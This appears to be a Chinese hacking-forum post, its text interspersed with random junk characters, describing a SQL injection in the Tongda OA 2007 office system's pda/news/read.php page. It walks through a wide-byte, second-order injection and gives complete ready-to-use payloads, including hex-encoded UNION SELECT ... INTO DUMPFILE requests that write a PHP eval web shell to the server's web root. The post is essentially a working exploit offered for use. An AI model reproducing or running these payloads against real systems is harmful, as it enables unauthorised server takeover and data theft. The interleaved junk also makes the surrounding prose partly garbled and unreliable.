目前测试通达OA2007版本
6 z: r% y7 G2 n! |1 y* {7 S4 `: U" C* m4 j. y
9 U8 R$ N4 D& U: h
Office Anywhere 2007 网络智能办公系统
. S. A4 z: d9 N- h, \ 5 ` J0 {/ q* c
http://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录../ P4 M9 u: X4 g$ w( K7 b& I1 T' \
6 S4 R% n, }/ l, v4 ?$ [/ G. q4 J
) C$ t* }( \2 z( y5 N( B5 l" J这个时候看了下代码,存在注入的那个变量的语句中第3个字段,在该文件下面被另外个select语句调用了,灵光一闪,大概思路是这样的4 b- T3 q: M& q2 k0 _5 d& U$ D) c% w
& D8 i4 ~+ B& @- o例如:SELECT * from USER where USER_ID='{$USERNAME}'
+ t8 Z( k) @6 j其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了! W5 r) a, _3 q/ Z& S0 r! \) n
7 z3 a& |$ j& z0 l; ?这个时候我们是不是可以组合起来使用哪?' u) M+ ?, \: m8 A; _ ~: i7 N
% y# C/ [+ x% ?5 o# i5 K第一条语句开始注入,union select 1,2,3,4,5,6,7,8,9,10...,比如第3个是PROVIDER字段,我们这样 ?$ T! Y. i* x5 Y
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10
' r6 D6 _( L1 `3 y 6 k. ~0 E: [5 D
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了6 {1 \7 A& m4 _7 p
# G% {' G! b1 I2 Y5 J/ [/ x7 T9 X8 ^那么问题来了,单引号可以吗?当然是不可以的,^_^。。。8 v% M; i6 x2 c! x1 B6 Z' r$ K
9 J ]; q0 N9 S9 u: Q那么我们用字符串格式带入进行hex编码1 q( a. u/ a- y+ Q5 [; m7 t. X
/ P7 H/ A# W5 R; d! D# Y( `%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%235 m# L, I' k4 g$ s1 ~, G
) @3 Y; Z* t/ b2 v( I* k测试ok,获取oa的webshell7 j) P% \% y% i
, s* u/ ^( S* |9 z
+ D( D- v# v/ p4 |2 Ppda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
& y& m9 b+ f4 y; f; f4 Y1 |2 k/ u" T直接getwebshell |